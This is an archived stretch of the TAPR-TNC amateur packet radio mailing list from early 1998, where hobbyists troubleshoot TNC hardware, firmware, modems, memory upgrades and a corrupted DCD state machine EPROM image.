>>and KAM Allmodes for my system TNC's. On one of my frequencies, 146.61
>>there is a birdie that stays at about S2 to S3 and is there all the time.
>>When
>>I turn off the TNC, the birdie goes away. Doesn't happen on any other
>>frequency
>>except 145.61. Since most of my forwarding is on that frequency, any ideas on
>>how to overcome the birdie. Running Software control interfacing, since
>>hardware
>>type interfacing won't let any signal thru. Have tried separating the TNC
>>from
>>the radio and that doesn't seem to work either.
>>
>>Anyone have any ideas on what I can do to fix the problem?

It may be a harmonic of the xtal oscillator in the tnc. Some tnc's have
a trimmer on the clock xtal so that you can rubber the birdie out of
band.

  73 de bob, wa4ypv

>>
>>Richard
>>KC5LRS
>>RANaylor@aol.com
>>
>>
>Larry Pollock - N5XBM
>
>
---- Avoid computer viruses -- Practice safe hex --------------
 * * Specializing in small, cost effective embedded control systems * *
Robert L. (Bob) Smith   Smith Machine Works, Inc.
internet   bobsmith@i2020.net   9900 Lumlay Road
landline   804/745-1065   Richmond, Virginia 23236+1004

28. Need help on TAPR 9600 on PK232MBX

From: "Ronald G. Parsons" <w5rkn@amsat.org>
Date: Sat, 24 Jan 1998 03:11:36 +0000
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <34C95BE8.8189DAEF@amsat.org>
Rendered body type: text/plain

I'm trying to get a 9600 modem going and the 9600 Hz Transmit clock is missing
at U19-4.

The clock signal at U13-4 is not TTL compatible. The signal square wave is
between 2.5 and 4 volts with period 3.2 microsecs.

Ditto at U21-13. Because of the lack of a TTL-low, none of the pins 8-11 of
U21 are changing.

I have changed out the two PALs U13 and U14.

Help!!!!!!

--
Ron W5RKN

also:
rparsons@bga.com

29. KPC-4 INFO?

From: RANaylor <RANaylor@aol.com>
Date: Sat, 24 Jan 1998 11:14:53 EST
To: tapr-tnc@tapr.org
Message-ID: <e4ce0a53.34ca137f@aol.com>
Rendered body type: text/plain

I have a question about KPC-4's. I recently acquired one for my BBS system so I could add another port to my system. I am currently running a KPC-3 on a single port. When I connected up the KPC-4, it is hearing okay, but it will not give me command prompt. Have looked at the configuration and it looks normal. It is hearing okay. It will give me the heart symbol when I hit control C and nothing else happens. Configuration is set at 9600 baud, comm port
2, 8 bits, parity none. That is what the KPC-3 works under as well. Can stick
the KPC-3 right back in and it works fine. Just not the KPC-4 and I have tried
both radio ports. Without getting to the command line, I cannot see what is configured in the TNC. Any ideas without having to disassemble the TNC and do a Hard Reset?

Thanks

Richard

30. Re: [TAPR-TNC:447] KPC-4 INFO?

From: Byron Smith <wa6ylb@theworks.com>
Date: Sat, 24 Jan 1998 08:59:16 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.5.16.19980124085916.37fff09a@theworks.com>
Rendered body type: text/plain

it really looks like a 8 N 1 problem. verify that Parity is NONE. It may not be
exactly the same verbage command that the KPC3 has.
Also, I think the problem is due to software settings, that apparently the KPC3 has set to, and the KPC4 doesnt. You can always do a RESET and clear the settings.
I imagine that if you did a DISP of the settings to paper, and then verified those settings in the KPC3, you would find your trouble.

At 10:22 AM 1/24/98 -0600, you wrote:
>I have a question about KPC-4's. I recently acquired one for my BBS system so
>I could add another port to my system. I am currently running a KPC-3 on
>a single port. When I connected up the KPC-4, it is hearing okay, but it will
>not give me command prompt. Have looked at the configuration and it looks
>normal. It is hearing okay. It will give me the heart symbol when I hit
>control C and nothing else happens. Configuration is set at 9600 baud, comm
>port
>2, 8 bits, parity none. That is what the KPC-3 works under as well. Can
>stick
>the KPC-3 right back in and it works fine. Just not the KPC-4 and I have
>tried
>both radio ports. Without getting to the command line, I cannot see what is
>configured in the TNC. Any ideas without having to disassemble the TNC and
>do a Hard Reset?
>
>Thanks
>
>Richard
>
>

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

31. 9600 modem and PK232MBX

From: "Ronald G. Parsons" <w5rkn@amsat.org>
Date: Sun, 25 Jan 1998 14:11:14 +0000
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <34CB4800.BB848881@amsat.org>
Rendered body type: text/plain

In looking at the TAPR 9600 board and the TAPR PK232 Modem Disconect Header
kit, there seems to be a conflict.

The TAPR 9600 docs say the transmit clock (32x) must be present on pin 12 of
the Modem Disconnect Header.

The TAPR PK232 Modem Disconect Header kit docs say pin 12 in N/C.

Where does the clock signal come from?
--
Ron W5RKN

also:
rparsons@bga.com

32. Z80382, ipv6, TNC2 (forwarded message from CPS Computer Shop)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 25 Jan 1998 21:17:38 -0500
To: tapr-tnc@tapr.org
Cc: cps@mpx.com.au
Message-ID: <199801260217.VAA00202@penny.n2wx.ampr.org>
Rendered body type: text/plain

Here is an interesting message from David VK2TDT. I don't believe he
is subscribed to the mailing list so please copy any replies to him as
well as to the list.

------- start of forwarded message (RFC 934 encapsulation) -------
From: "CPS Computer Shop" <cps@mpx.com.au>
To: n2wx@tapr.org
Subject: New processor.
Date: (No, or invalid, date.)

Howard
 Just to introduce myself. I'm David Taylor of Tamworth, NSW, Australia or VK2TDT@VK2TDT.#TAM.NSW.AUS.OC
 Through my trade publications I found out about a prototype processor being released for evaluation by
Zilog. Namely the Z80382. It is in a 144 pin quad flat pack but the fancy part is what it can do. It
runs a 16bit version of the original Z80 machine code (yes it will run native Z80 code in ROM) but runs
at 20Mhz, has 2 serial ports, 3 HDLC ports (capable of 10Mbps each), 32 bits of programmable I/O and
able to access 16Mb memory.

I have a couple of samples and I am thinking of trying to put together a stand alone bridge / router
possable capable of IP ver 6 traffic (64k packets). I have some experience in Z80 assembly language but
I do not have any background to the routines or memory layout of the TNC1 or 2. I am trying to see if
such a project could be done to enable a longer life expectation of our present packet radio network.

Could you sound the idea around TAPR as I would be interested in any feedback. Information on this
processor including a cross assembler is available on the Zilog site. It isn't in commercial production
yet so samples have to be requested directly.

Thank you. David VK2TDT.
------- end -------

[Regarding the question in the second paragraph, TNC2 has 32K of ROM at
the bottom of address space and 32K of battery backed-up RAM at the
top. Some clone vendors have added bank switching to portions of RAM
or ROM or both. hg]

February 1998

Original source file: tapr-tnc.9802
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9802

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 1 Feb 1998 00:00:02 -0500
To: tapr-tnc@tapr.org
Message-ID: <199802010500.AAA09041@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. 512 memory mods

From: Dave Hockaday <wb4iuy@ipass.net>
Date: Sun, 1 Feb 1998 09:26:48 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <199802011426.JAA22108@earth.ipass.net>
Rendered body type: text/plain

Does anyone on the reflector know if the 512k memory upgrade is available
for the Kantronics 9612 series of TNC's? I have one with the 126k mod, but
could really use the extra memory. Any help is appreciated.

Dave WB4IUY
wb4iuy@ipass.net
http://www.ipass.net/~wb4iuy/ (personal page)
http://www.ipass.net/~teara/   (Ham Radio Club page)

3. Re: [TAPR-TNC:452] 512 memory mods

From: Sid Ashen-Brenner <sashen@midusa.net>
Date: Sun, 01 Feb 1998 10:53:18 -0600
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19980201104854.006f77a4@mail.midusa.net>
Rendered body type: text/plain

At 08:28 AM 2/1/98 -0600, you wrote:
>Does anyone on the reflector know if the 512k memory upgrade is available
>for the Kantronics 9612 series of TNC's? I have one with the 126k mod, but
>could really use the extra memory. Any help is appreciated.

Kantronics is avilable via Internet at
http://www.kantronics.com
Can't comment on their current inventory levels of memory chips, but do
recall that it is "supposedly" avilable. Of course, they would rather see
you purchase the 9612Plus....... :-)

Sid Ashen-Brenner   Salina, Ks.   Monitor Service Co.
Internet : sashen@midusa.net
AX-25 : n0obm @ n0obm.#ncks.ks.usa.noam

4. Re: [TAPR-TNC:453] Re: 512 memory mods

From: David A Willmore <willmore@cig.mot.com>
Date: Fri, 6 Feb 1998 11:16:12 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <9802061116.ZM26861@whelk>
Rendered body type: text/plain

On Feb 1, 10:59am, Sid Ashen-Brenner wrote:
> Subject: [TAPR-TNC:453] Re: 512 memory mods
> At 08:28 AM 2/1/98 -0600, you wrote:
> >Does anyone on the reflector know if the 512k memory upgrade is available
> >for the Kantronics 9612 series of TNC's? I have one with the 126k mod, but
> >could really use the extra memory. Any help is appreciated.
>
> Kantronics is avilable via Internet at
> http://www.kantronics.com
> Can't comment on their current inventory levels of memory chips, but do
> recall that it is "supposedly" avilable. Of course, they would rather see
> you purchase the 9612Plus....... :-)

I've a TSOP 512K SRAM that I'd like to use in my 9612. Anyone know what the
pinout of the socket is? 32K is getting a little tiny. :)

Cheers,
David N0YMV

5. kiss eproms for TNC1

From: Byron Smith <wa6ylb@theworks.com>
Date: Sat, 07 Feb 1998 13:23:37 -0800
To: tapr-tnc@tapr.org
Message-ID: <199802072127.NAA13004@ns.theworks.com>
Rendered body type: text/plain

Is anyone know of KISS eproms for the TNC1?

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a man makes a statement, deep in the forest, and there isn't a woman
around to hear him, is he still wrong?

6. Re: [TAPR-TNC:455] kiss eproms for TNC1

From: Bob Nielsen <nielsen@primenet.com>
Date: Sat, 7 Feb 1998 16:09:11 -0700 (MST)
To: Byron Smith <wa6ylb@theworks.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980207160814.4386A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Sat, 7 Feb 1998, Byron Smith wrote:

> Is anyone know of KISS eproms for the TNC1?

They are available from TAPR, of course! See
http://www.tapr.org/tapr/html/order.html

73, Bob w6swe

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@01.w6swe.ampr.org
                                http://www.primenet.com/~nielsen/

7. MFJ-1274 and TNC-2

From: "David A. Cooley" <n5xmt@mindspring.com>
Date: Mon, 23 Feb 1998 09:35:15 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.5.32.19980223093515.007a1a70@mail.mindspring.com>
Rendered body type: text/plain

Hello,
Was wondering if the MFJ-1274 TNC was 100% TNC-2 compatible and if so, will
the TNC-2 firmware 1.1.8 run in the 1274... Would this be wise or are their
features of the 1274 that are better and best kept as a 1274?
Thanks,
Dave

```
=========================================================
     Dave Cooley        N5XMT@mindspring.com
       PACKET: N5XMT@KQ4LO.#INT.NC.USA.NA
    We are Borg... Prepare to be assimilated!!
=========================================================
```

8. Re: [TAPR-TNC:457] MFJ-1274 and TNC-2

From: Bob Nielsen <nielsen@primenet.com>
Date: Mon, 23 Feb 1998 09:43:00 -0700 (MST)
To: "David A. Cooley" <n5xmt@mindspring.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980223093944.18888B-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Mon, 23 Feb 1998, David A. Cooley wrote:

> Hello,
> Was wondering if the MFJ-1274 TNC was 100% TNC-2 compatible and if so, will
> the TNC-2 firmware 1.1.8 run in the 1274... Would this be wise or are their
> features of the 1274 that are better and best kept as a 1274?

The 1274 is identical to the TNC-2 from a firmware standpoint (the main
differences are the VHF/HF switch and the tuning indicator). I would
recommend either 1.1.8a or 1.1.9 instead of 1.1.8, however. If it is an
early 1274 (pre-~1989), it may have only 16 K of SRAM and an upgrade to a
32K chip will be required.

73, Bob w6swe

```
 ---
Bob Nielsen                     Internet: nielsen@primenet.com
Tucson, AZ                      AMPRnet: w6swe@01.w6swe.ampr.org
                                http://www.primenet.com/~nielsen/
```

9. Re: [TAPR-TNC:457] MFJ-1274 and TNC-2

From: Byron Smith <wa6ylb@theworks.com>
Date: Mon, 23 Feb 1998 13:22:48
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19980223132248.3857e9e6@theworks.com>
Rendered body type: text/plain

Yes, Same animal. It just has the tuning indicator, and VHF/HF tone switch.
Oh, in case you wanted to know, Paccomm firmware with callsign swapping is
availible for this tnc. Its for the TNC200. I got a eprom from them and
have it running in the local digi, as an APRS digi, in a 1274b - how about
that!.

Depending on what you want to use it for, (APRS,GPS, regular tnc etc) your
choice of Paccomm or TAPR 1.1.9 is dependant on the mode you wish to use it
in.
Email me directly for more info.

At 09:39 AM 2/23/98 -0600, you wrote:
>Hello,
>Was wondering if the MFJ-1274 TNC was 100% TNC-2 compatible and if so, will
>the TNC-2 firmware 1.1.8 run in the 1274... Would this be wise or are their
>features of the 1274 that are better and best kept as a 1274?
>Thanks,
>Dave
>
>===
>   Dave Cooley   N5XMT@mindspring.com
>   PACKET: N5XMT@KQ4LO.#INT.NC.USA.NA
>   We are Borg... Prepare to be assimilated!!
>===

>
>
Byron Smith
wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

Daddy, why doesn't this magnet pick up this floppy disk?

I used to have a handle on life, then it broke...

10. Re: [TAPR-TNC:459] Re: MFJ-1274 and TNC-2

From: bobsmith@i2020.net (Robert L Smith)
Date: Tue, 24 Feb 1998 13:28:29 -0500
To: tapr-tnc@tapr.org
Message-ID: <19980224184141.AAB5227@OZZIE>
Rendered body type: text/plain

At 03:29 PM 2/23/98 -0600, you wrote:
>Yes, Same animal. It just has the tuning indicator, and VHF/HF tone switch.
>Oh, in case you wanted to know, Paccomm firmware with callsign swapping is
>availible for this tnc. Its for the TNC200. I got a eprom from them and
>have it running in the local digi, as an APRS digi, in a 1274b - how about
>that!.

What is "callsign swapping" please???

  tnx es 73 de bob, wa4ypv

>
>Depending on what you want to use it for, (APRS,GPS, regular tnc etc) your
>choice of Paccomm or TAPR 1.1.9 is dependant on the mode you wish to use it
>in.
>Email me directly for more info.
>
>
>
>At 09:39 AM 2/23/98 -0600, you wrote:
>>Hello,
>>Was wondering if the MFJ-1274 TNC was 100% TNC-2 compatible and if so, will
>>the TNC-2 firmware 1.1.8 run in the 1274... Would this be wise or are their
>>features of the 1274 that are better and best kept as a 1274?
>>Thanks,
>>Dave
>>
>>==
>>   Dave Cooley   N5XMT@mindspring.com
>>   PACKET: N5XMT@KQ4LO.#INT.NC.USA.NA
>>   We are Borg... Prepare to be assimilated!!
>>==
>>
>>
>Byron Smith
>wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
>wa6ylb@wa6ylb.#cca.ca.usa.noam
>
>Daddy, why doesn't this magnet pick up this floppy disk?
>
>I used to have a handle on life, then it broke...
>
>
---- Avoid computer viruses -- Practice safe hex --------------
 * * Specializing in small, cost effective embedded control systems * *
Robert L. (Bob) Smith   Smith Machine Works, Inc.
internet   bobsmith@i2020.net   9900 Lumlay Road
landline   804/745-1065   Richmond, Virginia 23236+1004

11. Re: [TAPR-TNC:460] Re: MFJ-1274 and TNC-2

From: Byron Smith <wa6ylb@theworks.com>
Date: Wed, 25 Feb 1998 06:57:51 -0800
To: tapr-tnc@tapr.org
Message-ID: <199802251506.HAA04998@ns.theworks.com>
Rendered body type: text/plain

>What is "callsign swapping" please???
>
> tnx es 73 de bob, wa4ypv

Callswapping is where the ALIAS names (like WIDE,RELAY etc) get replaced

with the MYCALL upon digipeating. SO now you can see who WIDE or RELAY
really is.

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a man makes a statement, deep in the forest, and there isn't a woman
around to hear him, is he still wrong?

12. DCD state 2.00 image on FTP site is corrupt

From: Alan Crosswell <n2ygk@weca.org>
Date: Wed, 25 Feb 98 12:44:00 EST
To: tapr-tnc@tapr.org
Message-ID: <CMM.0.90.4.888428640.alan@watsol>
Rendered body type: text/plain

The STATE200.BIN image referenced in the following message is corrupt.
It does not match an image found by reading a STATE 2.00 EPROM as
shipped by TAPR with the Rev. 2 kit. The strings in them are the
same. What differs appears to have been caused by a TEXT instead of
BINARY file transfer of the image. Carriage-returns are followed by
linefeeds in the corrupt image.

It took me quite a while to discover this since the EPROM sort-of
works! It just doesn't keep the DCD asserted like it should. It
glitches DCD just enough for the TNC to receive packets just fine,
but the DCD LED does not ever visibly illuminate (and hence, detected
but corrupt data will lead to not holding off on transmission).

I see upon pealing off the TAPR label that you guys already discovered
that 27C256's and 512's cost less than 2764's:-) And I thought I was
being so smart....

Might I suggest that this state and 9600 stuff be link in to the tnc2
sig area? I had to refer back to this email to think to look in the
kits area instead of the tnc2 sig area....

73 de Alan N2YGK

> Date: Wed, 14 Jan 1998 10:15:16 -0600
> From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
> To: tapr-tnc@tapr.org
> Subject: Re: Legal to upgrade state 1.09 to 2.00?
> Message-ID: <v03130305b0e29443cb3b@[208.134.134.40]>
>
> The State Machine 2.0 is available for non-commercial use by individual Radio
> Amateurs and commercial folks ony have to ask, since the goal of the DCD
> project years ago was to make it available as widely as possible for free.
>
> The State Machine is even available on the ftp site along with all the 9600
> baud modem firmware. ftp://ftp.tapr.org/tapr/info/kits/9600.ZIP and
> probably in another place or two on the TAPR site.
>
> This stuff is pretty old, since it has been shipping with the 9600baud
> modem kit and DCD state machine kit since 1991.
>
> Cheers - Greg
>
> -----
>
> Here is the text you will find in the EPROM. You can tell how old it is,
> we don't even bother with updating the address and stuff.
>
> Clock Recovery, DCD, and NRZI to NRZ data converter State Machine
> Version 2.00 - 91.10.31
> Copyright (c) 1991 Tucson
> Amateur Packet Radio, Inc.
>
> Licensed Radio Amateurs may modify, copy, and/or distribute this work --
> without compensation of any kind -- for noncommercial use by individual Radio
> Amateurs. Aside from this exception, no part of this work or its derivatives
> may be reproduced or distributed, in any form, without written permission from
> the copyright owner.
>
> For information about this code please contact:
> Tucson Amateur Packet Radio
> Post Office Box 12925

> Tucson, AZ 85734
> +1-1-602-749-9479
>
> Version 2 replaces (and is in part based on) previous version 1.09. Changes
> were implemented by Eric Gustafson N7CL. Version 2 centers the recovered clock
> on the asyncronous incoming data bit periods for use in 9600 baud modems. One
> stable lock state was eliminated to reduce recovered clock jitter.
>
>
> >I noticed when comparing my Paccomm Tiny-2 (HW rev 1.6) to some Paccomm
> >Tiny-2 (HW rev 1.2) that had 1.09 dcd state machines that my unit, with
> >a 2.00 dcd state machine is significantly better at detecting packets.
> >>From searching the mail archive I see a passing mention in 1995 that 2.00
> >is better than 1.09 in this respect. I also saw a question regarding
> >an eprom image for 2.00 to upgrade.
> >
> >Before I go ahead and do this,
> >1. Is it legal or is there some TAPR license agreement with the author
> >   that requires me to purchase the eprom?
> >2. Assuming it's legal, is the dcd state board the same hardware otherwise?
> >
> >73 de Alan N2YGK
> >n2ygk@weca.org
>
>
> -----
> Greg Jones, WD5IVD
> Austin, Texas
> wd5ivd@tapr.org
> http://www.tapr.org/~wd5ivd
>
> Any sufficiently advanced technology is indistinguishable from
> a rigged demo.
>
>
>
> ------------------------------
>
> End of TAPR-TNC Digest 214
> **************************
>

13. (no subject)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 1 Mar 1998 00:00:02 -0500
To: tapr-tnc@tapr.org
Message-ID: <199803010500.AAA00623@penny.n2wx.ampr.org>
Rendered body type: text/plain

Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
****

To Unsubscribe:

To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

For help with the listproc

The list processor TAPR runs has many interesting features. Please check
them out at your leisure. To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject. In the message body write

HELP

Posting rejected?

This mailing list accepts postings only from subscribers. If a post is ever rejected please contact <n2wx@tapr.org> directly; your system administrator probably changed an element of your email address and the listproc's records will need to be updated to enable posting.

Problems with your internet provider?

To conserve TAPR server resources, unrecoverable mail errors (in my experience, typically caused by someone hosing the provider's nameserver or by weird internet mail gateways like cc-mail or MSMAIL) will result in your subscription being set to POSTPONE. This should be extremely unlikely but if it happens, DO NOT PANIC: Simply send a message to LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel free to send the above SET message to remind the server about your ability to receive mail.

****
Statement of Purpose
****

This SIG is intended to be a low volume, high s/n place to discuss issues related to use of the TAPR (and clone) TNCs. It is not moderated. Please try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones are "on topic":

- o - Hardware bugs, problems, mods
- o - Firmware bugs, problems, patches
- o - TAPR documentation
- o - Interface issues
- o - Announcements of the above
- o - Suggestions for enhancements
- o - and anything else reasonably resembling the above
- x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the wrong place to post new user questions. Faster and more complete replies to new user questions are more likely to be found in one of the many newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR SIGs as well as this one. Initial crossposting is not necessarily a bad idea. Use your judgment.

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Other resources

TAPR maintains both file archives and a World Wide Web server that may contain answers to questions you have...and maybe some you have but didn't realize you had. You can access these resources with:

ftp to ftp.tapr.org /tapr/...

```
   WWW to  http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html


        73 Howie N2WX
```

March 1998

Original source file: tapr-tnc.9803
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9803

1. MFJ-1274/TNC2 memory mods

```
From: "David A. Cooley" <n5xmt@mindspring.com>
Date: Mon, 09 Mar 1998 20:41:55 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.5.32.19980309204155.007bdcd0@pop.mindspring.com>
Rendered body type: text/plain
```

Hello,
Several Questions... I have a MFJ-1274 that I just upgraded to the TAPR 1.1.9 firmware, and installed the TAPR 9600 baud modem. The 9600 modem comes with State 2.00, while the TNC has 1.09. Can I upgrade the TNC state chip to 2.00, or is that 9600 only?
Also, the machine has 32K ram now. Can I upgrade that further and give the TNC mailbox capability or am I stuck with 32K max?
Finally, I'm contemplating getting the smartwatch chip.
What mods if any are needed, and can it go in the unused ram socket, or does it have to be in the socket with the ram chip? Reason I ask is the 9600 baud modem makes it pretty cramped for space.

Thanks,
Dave

```
============================================================
David Cooley N5XMT           Internet: N5XMT@mindspring.com
Packet: N5XMT@KQ4LO.#INT.NC.USA.NA   T.A.P.R. Member #7068
        We are Borg... Prepare to be assimilated!
============================================================
```

2. palmpilot term program anyone?

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 31 Mar 1998 09:05:20 -0500
To: tapr-tnc@tapr.org
Message-ID: <199803311405.JAA01038@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

Forwarded off of a www.tapr.org query. Please include Carl in your reply if you have any info

------- start of forwarded message (RFC 934 encapsulation) -------
From: chyde@motown.lmco.com
Subject: (Form) Comments from your Home Page from
Date: Mon, 30 Mar 1998 23:32:54 -0600

Name: Carl S. Hyde
Callsign:
Email: chyde@motown.lmco.com

- - ---Comments--
Looking for information, terminal Programs etc. on using a US Robotics PalmPilot for Packet Radio.

Do you have any information or can ytou direct me to a site that may have info? I have a BayPac BP-2M modem for packet.

Thanks in advance for your help.

------- end -------

April 1998

Original source file: tapr-tnc.9804
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9804

1. (no subject)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 1 Apr 1998 00:00:03 -0500
To: tapr-tnc@tapr.org
Message-ID: <199804010500.AAA01163@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
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This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
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   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. serial port

From: Bob Nielsen <nielsen@primenet.com>
Date: Wed, 1 Apr 1998 09:13:31 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980401090938.6772A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

I'm upgrading a few MFJ 1270 TNCs for X1J use. One of the changes I see
done often is to replace the LM324 with a TL074/TL084 to reduce errors
when running the serial port at 9600 baud (or 19200).

Some of these TNCs have LM348 chips instead of LM324. I don't have a spec
sheet and was wondering if the LM348 has sufficient bandwidth as-is, or
should it also be replaced?

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@01.w6swe.ampr.org
                            http://www.primenet.com/~nielsen

3. Replacement for TCM3105 needed

From: "Alton Teague" <rocketman@basinlink.com>
Date: Fri, 17 Apr 1998 22:44:50 -0600
To: tapr-tnc@tapr.org

Message-ID: <19980417223142.6cc4e421.in@mail.texasonline.net>
Rendered body type: text/plain

Yeah I know - it's sort of off topic but I've struck out everywhere else.

As anyone who has messed with the hardware of various TNCs is aware, Texas Instruments has discontinued their TCM3105 modem chip.

An extensive search of the Web for the words "modem" and "radio" and ("1200 baud" OR "Bell 202") has kept coming back to assorted packet radio pages and a few other neat critters - all of which use the TCM3105 chip.

Apparently to continue to build the PicoPacket (and I suspect other manufacturers have done the same), PacComm made a "lifetime buy" of this part.

Once this cache of them is depleted, there are no more.

I have been unsuccessful in searching assorted documents such as the IC Master and various manufacturers' data books for any chip which will function as a Bell 202 (1200 baud) modem, period. No ifs, ands, buts.

Apparently the 1200 baud modems by any manufacturer - any pinout - any package type - are "No longer manufactured, no suitable substitute".

The exact pinout or clock frequency or external component requirements for this is NOT critical. I'll settle for ANYTHING that will generate and decode the 1200 hz / 2200 hz tones and function as a modem that is on a single chip.

I'm saying this to avoid all the answers that "it doesn't have the pinout of the TCM3105". I KNOW that. I'm laying out a new board to accomodate whatever I can come up with. My design will be driven by whatever can be tracked down - this is NOT for a repair / retrofit.

I did see a reference several years old to an AM7911, and also the string "AM7910" appeared, but a search for this part was unsuccessful - even to determine if it really existed.

Has ANYONE come up with anything at all to use as a modem chip for a replacement (see above paragraph) for the TCM3105? I hate to go back to the Exar 567 / 565 solution except as an absolute last resort.

Is there any DSP code to software emulate a Bell 202 modem? What about using a PIC processor, such as the 16C71 / 16C73? (FYI - the MIC-E is built on the 16C73 processor so I know that it is possible - may just require a lot of reverse engineering and hacking to figure out how)

Is there any PIC code to do a pseudo-DSP algorithm to RECEIVE the 1200 / 2200 hz tones?

I am going to have to either track down a current production part that can be made to function as a modem, or sit down and invent one totally from scratch, or reverse engineer someone else's solution.

Personally I like the DSP or PIC type solution if enough information can be gathered, or enough reverse engineering on a MIC-E or such can be done to handle the tones.

Another thing I like about the DSP or PIC solution is the possibility of handling higher data rates with nothing but a software upgrade. Anyone experimenting along these lines?

